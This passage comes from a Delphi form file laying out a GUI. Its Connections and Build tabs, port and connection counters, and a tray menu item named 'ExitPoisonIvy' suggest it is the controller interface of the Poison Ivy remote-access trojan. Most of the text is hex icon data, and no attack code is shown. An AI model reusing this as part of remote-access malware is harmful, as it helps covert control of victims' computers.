Serif'\n              Font.Style = [fsBold, fsUnderline]\n              ParentColor = False\n              ParentFont = False\n              OnClick = Label_13Click\n              OnMouseEnter = Label_12MouseEnter\n              OnMouseLeave = Label_12MouseLeave\n            end\n            object Label_13: TLabel\n              Left = 23\n              Top = 388\n              Width = 128\n              Height = 13\n              Cursor = crHandPoint\n              Caption = 'http://www.baidu.com'\n              Color = clBtnFace\n              Font.Charset = DEFAULT_CHARSET\n              Font.Color = clBlue\n              Font.Height = -11\n              Font.Name = 'MS Sans Serif'\n              Font.Style = [fsBold, fsUnderline]\n              ParentColor = False\n              ParentFont = False\n              OnClick = Label_13Click\n              OnMouseEnter = Label_12MouseEnter\n              OnMouseLeave = Label_12MouseLeave\n            end\n            object ScrollBox_1: TScrollBox\n              Left = 49\n              Top = 142\n              Width = 156\n              Height = 179\n              BorderStyle = bsNone\n              TabOrder = 0\n              object Label_Credits: TLabel\n                Left = 0\n                Top = 0\n                Width = 3\n                Height = 13\n                Font.Charset = DEFAULT_CHARSET\n                Font.Color = clWindowText\n                Font.Height = -11\n                Font.Name = 'MS Sans Serif'\n                Font.Style = []\n                ParentFont = False\n              end\n            end\n            object ScrollBox_11: TScrollBox\n              Left = 236\n              Top = 142\n              Width = 156\n              Height = 179\n              BorderStyle = bsNone\n              TabOrder = 1\n              object Label_Development_Team: TLabel\n                Left = 0\n                Top = 0\n                Width = 3\n                Height = 13\n                Font.Charset = DEFAULT_CHARSET\n                Font.Color = clWindowText\n                Font.Height = -11\n                Font.Name = 'MS Sans Serif'\n                Font.Style = []\n                ParentFont = False\n              end\n            end\n          end\n        end\n      end\n    end\n  end\n  object StatusBar_1: TStatusBar\n    Left = 0\n    Top = 564\n    Width = 967\n    Height = 23\n    Panels = <\n      item\n        Bevel = pbNone\n        Style = psOwnerDraw\n        Width = 80\n      end\n      item\n        Style = psOwnerDraw\n        Width = 220\n      end\n      item\n        Text = 'Port:  0'\n        Width = 70\n      end\n      item\n        Text = 'Connection(s): 0'\n        Width = 120\n      end>\n  end\n  object TabSet_1: TTabSet\n    Left = 553\n    Top = 161\n    Width = 269\n    Height = 15\n    DitherBackground = False\n    EndMargin = 2\n    Font.Charset = DEFAULT_CHARSET\n    Font.Color = clWindowText\n    Font.Height = -11\n    Font.Name = 'MS Sans Serif'\n    Font.Style = []\n    ParentShowHint = False\n    ShowHint = False\n    StartMargin = 2\n    SoftTop = True\n    TabHeight = 14\n    Tabs.Strings = (\n      'Connections'\n      'Build'\n      'Settings'\n      'Stats'\n      'About')\n    TabIndex = 0\n    OnChange = TabSet_1Change\n  end\n  object PopMenu_Tray: TPopupMenu\n    Left = 839\n    Top = 224\n    object MenuItem_Show1: TMenuItem\n      Caption = 'Hide/Show'\n      OnClick = MenuItem_Show1Click\n    end\n    object MenuItem_EnableBalloontip1: TMenuItem\n      Caption = 'Balloontip Notification'\n      OnClick = MenuItem_EnableBalloontip1Click\n    end\n    object N2: TMenuItem\n      Caption = '-'\n    end\n    object MenuItem_ExitPoisonIvy1: TMenuItem\n      Caption = 'Exit'\n      OnClick = MenuItem_ExitPoisonIvy1Click\n    end\n  end\n  object CoolTrayIcon1: TCoolTrayIcon\n    CycleInterval = 0\n    Icon.Data = {\n      0000010003003030000001002000A8250000360000002020000001002000A810\n      0000DE2500001010000001002000680400008636000028000000300000006000\n      0000010020000000000080250000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000313131032929297D4646\n      462D000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000002F2F2F08353535F73D3D\n      3DE9454545590000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000282828776464\n      64FE3F3F3FFB3F3F3F2F00000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000003F3F3F043030\n      30964E4E4EFC292929CD33333307000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00002E2E2E8B494949FF2828289C000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000033333303202020973B3B3BFE202020620000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000001515152817171710000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000003333330B262626BE363636FC2929295B00000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000002323230C1E1E1E611F1F\n      1FAC171717F7202020FF141414AA1D1D1D241B1B1B4E23232371181818891919\n      192B000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000002A2A2A09262626CF353535ED2828283A000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000001E1E1E111B1B1B5F262626EC323232FF3A3A\n      3AFF373737FE3E3E3EFF191919FE212121FF353535FF292929FE232323FF1919\n      19961F1F1F0A0000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000003030302D363636F3373737F02D2D2D230000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000001D1D1D071A1A1A861A1A1AEF292929FF393939FE434343FF3F3F\n      3FFF505050FE3A3A3AFF1E1E1EFE313131FF2D2D2DFF3F3F3FFE515151FF1C1C\n      1CFF232323E21C1C1C7000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000002727273D3F3F3FFB2C2C2CDE2D2D\n      2D0F000000000000000000000000000000000000000000000000000000000000\n      00002727270F1C1C1CD0212121FF3E3E3EFF3A3A3AFF484848FF676767FF5656\n      56FF595959FF525252FF3C3C3CFF464646FF545454FF565656FF444444FF3E3E\n      3EFF3E3E3EFF2F2F2FFF1C1C1CBD2020204225252513212121131E1E1E130000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000212121603B3B3BFA2323\n      23BE2C2C2C0D0000000000000000000000000000000000000000000000000000\n      00001F1F1F8E2E2E2EFF444444FE585858FF595959FF585858FE737373FF6C6C\n      6CFF727272FE5A5A5AFF565656FE676767FF626262FF454545FE5D5D5DFF5656\n      56FF363636FE353535FF333333FF323232FE1D1D1DFF2D2D2DFF171717F50000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000002626267D4C4C\n      4CFF242424B80000000000000000000000000000000000000000000000002D2D\n      2D252F2F2FFB4F4F4FFF7A7A7AFF767676FF5C5C5CFF666666FF777777FF7474\n      74FF6D6D6DFF6D6D6DFF4F4F4FFF434343FF555555FF272727FF4E4E4EFF5151\n      51FF565656FF636363FF585858FF575757FF333333FF1B1B1BCB1B1B1B2F0000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000002121\n      21954E4E4EFE1F1F1FA034343403000000000000000000000000000000002424\n      24A5565656FF737373FF7E7E7EFE5F5F5FFF636363FF676767FE797979FF7474\n      74FF666666FE676767FF3E3E3EFE414141FF606060FF676767FE565656FF5252\n      52FF515151FE636363FF4D4D4DFF383838FE2222227300000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000034343417313131273131\n      312F212121CD5C5C5CFF262626A3000000000000000000000000000000003939\n      39F5515151FF6D6D6DFF7B7B7BFE606060FF585858FF646464FE707070FF6060\n      60FF535353FE646464FF555555FE656565FF2F2F2FFF575757FE6F6F6FFF7070\n      70FF6D6D6DFE5B5B5BFF5D5D5DFF2B2B2BCB3737370B00000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000003636360E252525781F1F1FD1262626F7454545FF4F4F\n      4FFF3F3F3FFF505050FF5A5A5AFD3131316C00000000000000003939391C4444\n      44FF484848FF6A6A6AFF707070FF585858FF5A5A5AFF606060FF6F6F6FFF5B5B\n      5BFF525252FF5C5C5CFF444444FF646464FF777777FF777777FF7D7D7DFF7070\n      70FF727272FF727272FF363636F54242421A0000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000003333334F2A2A2AEC484848FF5F5F5FFF6F6F6FFE7D7D7DFF8686\n      86FF7F7F7FFE797979FF636363FF323232F735353550000000002A2A2A3D4E4E\n      4EFE484848FF5A5A5AFF595959FE525252FF646464FF636363FE616161FF4B4B\n      4BFF5C5C5CFE767676FF7C7C7CFE7B7B7BFF727272FF737373FE7E7E7EFF7C7C\n      7CFF717171FE494949FF2B2B2B87000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000022222251202020ED5C5C5CFE6E6E6EFF707070FF7C7C7CFE838383FF8989\n      89FF858585FE848484FF7F7F7FFF636363FF242424EF2E2E2E2D2B2B2B3D4242\n      42FE404040FF555555FF676767FE5C5C5CFF424242FF555555FE616161FF6E6E\n      6EFF6D6D6DFE7C7C7CFF757575FE717171FF7D7D7DFF7B7B7BFE777777FF6363\n      63FF393939FE2F2F2FA63D3D3D07000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000002020\n      2062303030FC464646FF575757FE6B6B6BFF7D7D7DFF7D7D7DFE828282FF8787\n      87FF838383FE828282FF747474FF5E5E5EFF5A5A5AFE2F2F2FEA202020993B3B\n      3BFE5A5A5AFF575757FF4F4F4FFE555555FF595959FF636363FE838383FF7171\n      71FF5B5B5BFE707070FF7D7D7DFE7B7B7BFF676767FF747474FE7B7B7BFF6969\n      69FF2B2B2B9C0000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000000000002A2A2A07212121742727\n      27F5464646FF656565FF797979FF838383FF878787FF838383FF767676FF7171\n      71FF727272FF787878FF676767FF575757FF6A6A6AFF757575FF555555FF4242\n      42FF696969FF737373FF767676FF7E7E7EFF727272FF676767FF656565FF7777\n      77FF787878FF646464FF636363FF747474FF696969FF5E5E5EFF444444FF2626\n      26CC3D3D3D120000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000031313117202020D4333333FF5151\n      51FE545454FF5F5F5FFF787878FE838383FF8E8E8EFF8E8E8EFE898989FF8585\n      85FF7A7A7AFE737373FF656565FF585858FF545454FE3F3F3FFF202020FF1616\n      16FE333333FF707070FF727272FE6B6B6BFF7B7B7BFF818181FE6B6B6BFF6262\n      62FF7B7B7BFE737373FF686868FE565656FF535353FF383838E72C2C2C7E3B3B\n      3B11000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000343434211A1A1AFE303030FF4040\n      40FE464646FF626262FF686868FE737373FF747474FF7B7B7BFE727272FF7575\n      75FF797979FE737373FF7B7B7BFF3F3F3FFF5F5F5FFE6A6A6AFF1A1A1AD43131\n      31FE121212DE232323E7383838FE434343FF505050FF787878FE727272FF6C6C\n      6CFF4D4D4DFE595959FF646464FE464646FF2B2B2BAA3D3D3D11000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000303030041C1C1CC6474747FF5B5B\n      5BFF747474FF808080FF808080FF848484FF878787FF888888FF7B7B7BFF7373\n      73FF6B6B6BFF575757FF636363FF4B4B4BFF4B4B4BFF717171FF242424C12222\n      228E3B3B3BFA282828452D2D2D3328282871202020B7181818F0323232FF2F2F\n      2FFF2C2C2CED2A2A2AB52A2A2A942D2D2D380000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000252525A0464646FE6C6C6CFF6868\n      68FE696969FF717171FF797979FE7B7B7BFF7C7C7CFF7A7A7AFE797979FF7E7E\n      7EFF7C7C7CFE686868FF5B5B5BFF494949FF484848FE616161FF1C1C1CC12D2D\n      2D0F393939EB333333E9212121801C1C1CC4262626EA393939FE3F3F3FFF3030\n      30FF242424DC212121A12C2C2C642727271C0000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000027272731282828FB5A5A5AFE575757FF7272\n      72FE7A7A7AFF878787FF8A8A8AFE848484FF808080FF797979FE636363FF5353\n      53FF737373FE6C6C6CFF585858FF5C5C5CFF646464FE484848FF232323972929\n      29151A1A1AEF5F5F5FFF444444FE656565FF7A7A7AFF7D7D7DFE7E7E7EFF7171\n      71FF6B6B6BFE4B4B4BFF2C2C2CFE212121F9191919B720202052282828070000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000002929299F454545FF717171FF838383FF8888\n      88FF868686FF858585FF848484FF858585FF858585FF7D7D7DFF707070FF7979\n      79FF7E7E7EFF787878FF6A6A6AFF6A6A6AFF696969FF353535FF262626471515\n      15AA313131FF666666FF797979FF7B7B7BFF7E7E7EFF7E7E7EFF797979FF7979\n      79FF797979FF757575FF656565FF565656FF434343FF343434FF252525F52828\n      28762D2D2D050000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000232323C44F4F4FFF606060FE636363FF7A7A\n      7AFE7F7F7FFF818181FF787878FE6C6C6CFF676767FF555555FE7B7B7BFF8080\n      80FF777777FE757575FF707070FF6B6B6BFF636363FE242424BC2626267C2525\n      25FE4C4C4CFF454545FF808080FE848484FF868686FF808080FE7F7F7FFF7B7B\n      7BFF7E7E7EFE797979FF717171FE6C6C6CFF646464FF535353FE424242FF3131\n      31FF262626B82828280900000000000000000000000000000000000000000000\n      000000000000000000002424242A212121F84B4B4BFF5D5D5DFE777777FF8383\n      83FE828282FF828282FF797979FE6E6E6EFF6E6E6EFF818181FE7F7F7FFF8383\n      83FF717171FE737373FF7E7E7EFF616161FF424242FE282828511A1A1AF45555\n      55FE4C4C4CFF484848FF5C5C5CFE6A6A6AFF6F6F6FFF717171FE6B6B6BFF6969\n      69FF585858FE606060FF5F5F5FFE575757FF636363FF626262FE4B4B4BFF4242\n      42FF2C2C2CFE1A1A1AA000000000000000000000000000000000000000000000\n      000000000000000000002222228B393939FF5C5C5CFF6F6F6FFF7E7E7EFF7979\n      79FF6B6B6BFF656565FF646464FF6B6B6BFF717171FF818181FF828282FF7E7E\n      7EFF606060FF606060FF747474FF393939FF282828B024242483424242FF6666\n      66FF454545FF515151FF4C4C4CFF717171FF757575FF7F7F7FFF868686FF8484\n      84FF868686FF7E7E7EFF7C7C7CFF7D7D7DFF717171FF5B5B5BFF4A4A4AFF4A4A\n      4AFF383838FF1D1D1DFF1515156B000000000000000000000000000000000000\n      00000000000000000000131313E02F2F2FFF575757FF636363FE818181FF7D7D\n      7DFE787878FF606060FF575757FE5E5E5EFF636363FF878787FE838383FF7070\n      70FF4F4F4FFE595959FF616161FF181818E230303015252525D3595959FF6060\n      60FE636363FF414141FF4B4B4BFE5F5F5FFF7A7A7AFF848484FE898989FF8383\n      83FF828282FE7B7B7BFF787878FE717171FF616161FF515151FE4F4F4FFF3A3A\n      3AFF303030FE161616FF101010FB1111113A0000000000000000000000000000\n      000000000000000000001A1A1A8B2D2D2DFF5A5A5AFF737373FE7B7B7BFF7777\n      77FE6D6D6DFF656565FF5F5F5FFE696969FF6C6C6CFF868686FE808080FF6666\n      66FF505050FE4F4F4FFF323232FA2C2C2C533232322A272727F84F4F4FFF7575\n      75FE737373FF434343FF5F5F5FFE545454FF595959FF4C4C4CFE535353FF5050\n      50FF484848FE424242FF323232FE2D2D2DFF3B3B3BFF3A3A3AFE303030FF2D2D\n      2DFF2A2A2AFE1C1C1CFF131313FA131313400000000000000000000000000000\n      0000000000001D1D1D021D1D1DC6494949FF6A6A6AFF6A6A6AFF6A6A6AFF6161\n      61FF616161FF686868FF5D5D5DFF797979FF747474FF828282FF7C7C7CFF5151\n      51FF3F3F3FFF2A2A2AFE222222830000000026262678373737FF5F5F5FFF8282\n      82FF535353FF636363FF7C7C7CFF636363FF595959FF5D5D5DFF656565FF6F6F\n      6FFF626262FF6B6B6BFF646464FF636363FF606060FF585858FF3F3F3FFF3D3D\n      3DFF313131FF343434FF1D1D1DFF1A1A1A280000000000000000000000000000\n      0000000000001E1E1E281F1F1FFF535353FF767676FF717171FE5B5B5BFF5F5F\n      5FFE606060FF6A6A6AFF777777FE7F7F7FFF707070FF777777FE6A6A6AFF4A4A\n      4AFF242424FE1D1D1D7A00000000000000001C1C1CA34A4A4AFF686868FF7575\n      75FE5D5D5DFF7F7F7FFF7D7D7DFE5A5A5AFF505050FF5A5A5AFE555555FF5757\n      57FF535353FE696969FF7A7A7AFE828282FF7C7C7CFF6E6E6EFE747474FF6666\n      66FF616161FE444444FF252525FF2222225C0000000000000000000000000000\n      0000000000001D1D1D5B2C2C2CFF606060FF737373FF737373FE6B6B6BFF6B6B\n      6BFE696969FF7E7E7EFF808080FE838383FF6C6C6CFF707070FE3E3E3EFF2C2C\n      2CF327272744000000000000000000000000171717DB464646FF696969FF6D6D\n      6DFE7E7E7EFF848484FF6C6C6CFE585858FF3E3E3EFF515151FE606060FF4848\n      48FF565656FE767676FF858585FE858585FF838383FF858585FE848484FF7575\n      75FF6A6A6AFE565656FF3A3A3AFF121212D61616160E00000000000000000000\n      0000000000002323233F343434FF616161FF595959FF6E6E6EFF7E7E7EFF7777\n      77FF828282FF868686FF848484FF7A7A7AFF5D5D5DFF393939FF292929E92F2F\n      2F3800000000000000000000000000000000202020E0434343FF6A6A6AFF7777\n      77FF8A8A8AFF7E7E7EFF575757FF5B5B5BFF6E6E6EFF717171FF565656FF4E4E\n      4EFF555555FF707070FF6B6B6BFF636363FF575757FF565656FF404040FF3232\n      32FF353535FF303030FF272727FF101010FF1414141E00000000000000000000\n      0000000000001E1E1E81373737FF595959FF4E4E4EFF696969FE7D7D7DFF7878\n      78FE858585FF7D7D7DFF6E6E6EFE626262FF333333FF282828C1313131150000\n      0000000000000000000000000000000000001C1C1CE0474747FF767676FF7E7E\n      7EFE828282FF757575FF535353FE626262FF7D7D7DFF737373FE646464FF5252\n      52FF3D3D3DFE3C3C3CFF4D4D4DFE373737FF3A3A3AFF383838FE393939FF2323\n      23FF161616FE282828FF2A2A2AFF131313EC1919190B00000000000000000000\n      0000000000001C1C1CD1444444FF5E5E5EFF5F5F5FFF7D7D7DFE7F7F7FFF7E7E\n      7EFE878787FF686868FF3B3B3BFE282828BF3636362D37373703000000000000\n      000000000000000000000000000000000000161616E0444444FF727272FF7C7C\n      7CFE828282FF636363FF505050FE787878FF7E7E7EFF646464FE4A4A4AFF3F3F\n      3FFF5D5D5DFE383838FF434343FE5E5E5EFF5D5D5DFF6A6A6AFE686868FF6464\n      64FF525252FE4A4A4AFF3D3D3DFF161616F51B1B1B2300000000000000000000\n      0000252525142C2C2CFF505050FF696969FF7A7A7AFF828282FF717171FF5656\n      56FF565656FF2A2A2AD73434344D000000000000000000000000000000000000\n      000000000000000000000000000000000000171717BF424242FF5F5F5FFF7878\n      78FF717171FF525252FF484848FF717171FF777777FF575757FF505050FF6161\n      61FF4C4C4CFF404040FF464646FF696969FF6A6A6AFF717171FF767676FF6E6E\n      6EFF5D5D5DFF565656FF404040FF202020FF161616AB00000000000000001A1A\n      1A011C1C1C8D393939FE3D3D3DFF4C4C4CFF505050FF4B4B4BEA333333B24848\n      4830414141274747470C00000000000000000000000000000000000000000000\n      0000000000000000000000000000000000001D1D1D572D2D2DFF575757FF7373\n      73FE727272FF4E4E4EFF515151FE6D6D6DFF626262FF3F3F3FFE4D4D4DFF6262\n      62FF565656FE353535FF4F4F4FFE414141FF464646FF474747FE424242FF3737\n      37FF2F2F2FFE2A2A2AFF2E2E2EFF252525FE121212B500000000000000001414\n      14A51F1F1FFA2B2B2BBD2C2C2C63444444184B4B4B134F4F4F09000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000000000000000000000262626031C1C1CC13D3D3DFF6D6D\n      6DFF6A6A6AFF3B3B3BFF575757FF676767FF4F4F4FFF2C2C2CFF5D5D5DFF6E6E\n      6EFF5B5B5BFF525252FF4E4E4EFF454545FF363636FF434343FF575757FF7575\n      75FF757575FF686868FF4F4F4FFF282828FF1919193100000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000029292917232323F46262\n      62FE505050FF333333FF5C5C5CFE575757FF3E3E3EFF2E2E2EFE626262FF6464\n      64FF6F6F6FFE6A6A6AFF484848FE5C5C5CFF353535FF444444FE444444FF3838\n      38FF2C2C2CFE272727FF1B1B1BFF141414FE1818181E00000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000000000002525257A3030\n      30FE373737FF343434FF5A5A5AFE484848FF3C3C3CFF424242FE646464FF5757\n      57FF6B6B6BFE545454FF585858FE595959FF484848FF2F2F2FFE2C2C2CFF3B3B\n      3BFF484848FE383838FF1E1E1EFF121212C41919190400000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000232323041111\n      11E2141414FF1E1E1EFF414141FF313131FF323232FF575757FF5A5A5AFF5959\n      59FF6B6B6BFF484848FF6A6A6AFF535353FF636363FF4C4C4CFF383838FF3E3E\n      3EFF434343FF3C3C3CFF1D1D1DFA1C1C1C400000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000001313\n      135E161616D3161616B0232323FE3C3C3CFF343434FF5E5E5EFE555555FF5050\n      50FF484848FE484848FF585858FE666666FF595959FF414141FE434343FF4848\n      48FF484848FE1E1E1EFF202020EA000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000019191904121212C4232323FF2B2B2BFF4D4D4DFE4F4F4FFF5353\n      53FF474747FE4F4F4FFF4D4D4DFE636363FF484848FF3D3D3DFE414141FF5656\n      56FF444444FE292929FF181818B6000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000002323231F1A1A1A4E1F1F1F5C171717F0333333FF3131\n      31FF444444FF353535FF3E3E3EFF494949FF4B4B4BFF414141FF707070FF4545\n      45FF4C4C4CFF323232FF1C1C1CBB000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      00000000000000000000000000000000000000000000212121101A1A1A6E1515\n      15D31A1A1AFC191919FF333333FE262626FF363636FF242424FE3F3F3FFF3F3F\n      3FFF292929FE494949FF1A1A1AEC1F1F1F030000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000222222221C1C1C5D1D1D1D622121218E1E1E1E9C1E1E1E9C2020209C3030\n      309C2929298E1C1C1CBD252525FF1B1B1B7D0000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      000000000000000000001D1D1D4C2020209E000000000000000000000000FC7F\n      FFFFFFFF0000FC3FFFFFFFFF0000FE1FFFFFFFFF0000FE0FFFFFFFFF0000FF8F\n      FFFFFFFF0000FF87FFFFCFFF0000FFC3FFFC007F0000FFE1FFF0003F0000FFF0\n      FFC0001F0000FFF87F8000000000FFFC3F8000000000FFFE3F0000000000FFFF\n      0F0000030000FFFC0F0000030000FFE0060000070000FFC00200000F0000FF80\n      0000000F0000FF000000003F0000FC000000003F0000F8000000007F0000F800\n      000001FF0000F800000007FF0000F800000007FF0000F000000000FF0000F000\n      0000003F0000F0000000001F0000E0000000001F0000E0000000000F0000E000\n      000000070000E000000000070000C000080000070000C000180000070000C000\n      380000030000C000780000030000C000F80000030000C001F80000030000800F\n      F80000030000001FF8000003000001FFF80000030000FFFFFC0000030000FFFF\n      FE0000030000FFFFFE0000070000FFFFFF00000F0000FFFFFFC0000F0000FFFF\n      FFE0000F0000FFFFFFFC00070000FFFFFFFF80070000FFFFFFFFFFE700002800\n      0000200000004000000001002000000000008010000000000000000000000000\n      000000000000000000000000000000000000000000003030303A3B3B3B7F3737\n      3713000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000030303037484848DA3F3F\n      3F8D3636360A0000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000313131433E3E\n      3ED83030306F0000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000002F2F\n      2F5E323232D12A2A2A2B00000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000003737\n      3708232323100000000000000000000000000000000000000000000000000000\n      0000000000000000000000000000000000000000000000000000000000003232\n      32022B2B2B582F2F2FCC2E2E2E3B000000000000000000000000000000000000\n      000000000000000000000000000045454501393939172424246B262626B72424\n      24FB1C1C1CD920202076242424981A1A1A8F2B2B2B1C00000000000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000343434022F2F2F92333333C73232320F0000000000000000000000000000\n      000000000000000000004C4C4C0325252572212121BD363636FA3D3D3DFF4343\n      43FE262626FE2D2D2DFF353535FE343434F31F1F1FB031313131000000000000\n      0000000000000000000000000000000000000000000000000000000000000000\n      0000000000003C3C3C0D333333922E2E2EB23333331B00000000000000000000\n      0000000000003F3F3F13222222A8353535FE454545FF575757FE616161FF5D5D\n      5DFE4A4A4AFE535353FF535353FE4A4A4AFF3E3E3EFE2C2C2CF02525259C2323\n      23611E1E1E5F0000000000000000000000000000000000000000000000000000\n      0000000000000000000041414115323232BC2E2E2EA200000000000000000000\n      000000000000333333583B3B3BF1696969FE606060FF686868FE727272FF6C6C\n      6CFE585858FE525252FF3E3E3EFE525252FF4D4D4DFE515151FF4B4B4BFE2828\n      28F31C1C1C940000000000000000000000000000000000000000000000000000\n      00000000000000000000494949053A3A3A2F363636C4383838924B4B4B120000\n      000000000000383838D4676767FF737373FE5F5F5FFF6B6B6BFE707070FF6161\n      61FE505050FE4D4D4DFF5B5B5BFE5D5D5DFF5A5A5AFE5B5B5BFF3D3D3DF33232\n      3235000000000000000000000000000000000000000000000000000000000000\n      000044444406323232632C2C2CA1404040B73A3A3ADC505050F44040407A0000\n      00004646460C434343FC606060FF6B6B6BFE595959FF666666FE626262FF5656\n      56FE505050FE626262FF676767FE757575FF707070FE5D5D5DFC3D3D3D8B4343\n      4302000000000000000000000000000000000000000000000000000000003C3C\n      3C3D363636CD5A5A5AFF6E6E6EFE818181FF838383FE777777FF505050FB3636\n      365D3333332D484848FE525252FF5A5A5AFE575757FF5F5F5FFE5A5A5AFF6969\n      69FE797979FE777777FF757575FE797979FF656565FE3C3C3CB54444441E0000\n      00000000000000000000000000000000000000000000000000003F3F3F2B3030\n      30D54E4E4EFC707070FF7B7B7BFE848484FF858585FE7F7F7FFF676767FF3F3F\n      3FDF2727278A444444FE545454FF575757FE535353FF666666FE727272FF6767\n      67FE787878FE747474FF737373FE737373FF424242D247474725000000000000\n      0000000000000000000000000000000000004E4E4E053C3C3C68303030DB5252\n      52FF717171FE858585FF878787FE7A7A7AFF757575FE717171FF5C5C5CFF6262\n      62FE4D4D4DFF3F3F3FFE696969FF757575FE757575FF6C6C6CFE6D6D6DFF7373\n      73FE666666FE676767FF565656F9373737BC3C3C3C3700000000000000000000\n      0000000000000000000000000000000000003E3E3E13232323F53E3E3EFE5252\n      52FF696969FE797979FF7F7F7FFE797979FF797979FE737373FF565656FF5B5B\n      5BFE313131EB242424F7323232ED4D4D4DFE595959FF777777FE6B6B6BFF5E5E\n      5EFE646464FE454545EC3A3A3A7D4A4A4A1D5151510100000000000000000000\n      0000000000000000000000000000000000004D4D4D25373737E55B5B5BFE7373\n      73FF7C7C7CFE818181FF838383FE797979FF727272FE5D5D5DFF515151FF5555\n      55FE3A3A3AD52C2C2C94303030A427272762222222B4292929F8313131FF2828\n      28D4292929923A3A3A1F00000000000000000000000000000000000000000000\n      00000000000000000000000000004A4A4A0A2C2C2C9E565656FE696969FE7878\n      78FF828282FE808080FF7B7B7BFE676767FF6F6F6FFE646464FF565656FF5757\n      57FE303030C32828285B414141F43F3F3FDB585858F3676767FE5F5F5FFF4B4B\n      4BEC313131D12626269D3030304D535353030000000000000000000000000000\n      